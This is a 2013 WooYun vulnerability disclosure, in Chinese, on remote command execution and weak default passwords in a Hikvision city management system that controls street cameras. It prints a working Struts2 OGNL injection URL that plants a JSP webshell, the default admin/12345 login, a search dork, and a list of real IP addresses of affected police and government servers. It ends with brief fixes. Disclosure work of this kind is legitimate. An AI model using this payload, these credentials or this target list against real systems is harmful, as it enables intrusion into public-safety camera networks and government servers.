当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-031567

漏洞标题：某套城市综合管理系统任意执行加弱口令(街道摄像头任意控制)

相关厂商：杭州海康威视系统技术有限公司

漏洞作者： Kuuki

提交时间：2013-07-20 23:08

修复时间：2013-10-18 23:08

公开时间：2013-10-18 23:08

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-20： 细节已通知厂商并且等待厂商处理中
2013-07-24： 厂商已经确认，细节仅向厂商公开
2013-07-27： 细节向第三方安全合作伙伴开放
2013-09-17： 细节向核心白帽子及相关领域专家公开
2013-09-27： 细节向普通白帽子公开
2013-10-07： 细节向实习白帽子公开
2013-10-18： 细节向公众公开

简要描述：

某套城市综合管理系统任意执行加弱口令，可以实时查看或控制市内摄像头...还可能有其他敏感信息泄露...希望早日修复 以免被不法分子利用

详细说明：

命令执行点

http://xxxxx/index!OAIndex.action


我测试的几个均为windows服务器system权限
GETSHELL方法

http://xxxxx/index!OAIndex.action?redirect:${ 
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), 
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), 
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() 
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e


在当前目录下创建css3.jsp一句话木马
然后用表单的方式就可以post大马 从而得到webshell
部分系统没有修改系统管理员的默认密码
可以直接登录

用户名:admin 密码:12345


受影响的服务器
百度搜索 intitle:“平安城市综合应用管理系统”
http://122.226.131.93/ 浙江省台州市
http://124.93.232.5/ 辽宁省大连市
http://sx37.net/ 福建省宁德市福安市
http://222.223.66.39/ 河北省秦皇岛市
http://61.153.17.126/ 浙江省宁波市
http://61.175.218.206/ 浙江省台州市
http://124.117.238.228/ 新疆省乌鲁木齐市
........
目测还有更多
目标服务器大多为警方或政府用 在我测试的服务器中还发现有其他重要系统
而且同C段下也有很多重要服务器 如果作为跳板也是比较大的危害了

漏洞证明：

我测试的是河北省秦皇岛市 直接用弱口令就可以进

QQ截图20130720200815.png


QQ图片20130720223641.jpg

修复方案：

1.升级struts2到最新版本
2.取消默认密码 强制管理员设置自己的密码
3.修改robots.txt使服务器不被搜索引擎收录
4.专人专用 尽量不要对外网开放

版权声明：转载请注明来源 Kuuki@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2013-07-24 23:17

厂商回复：

最新状态：

暂无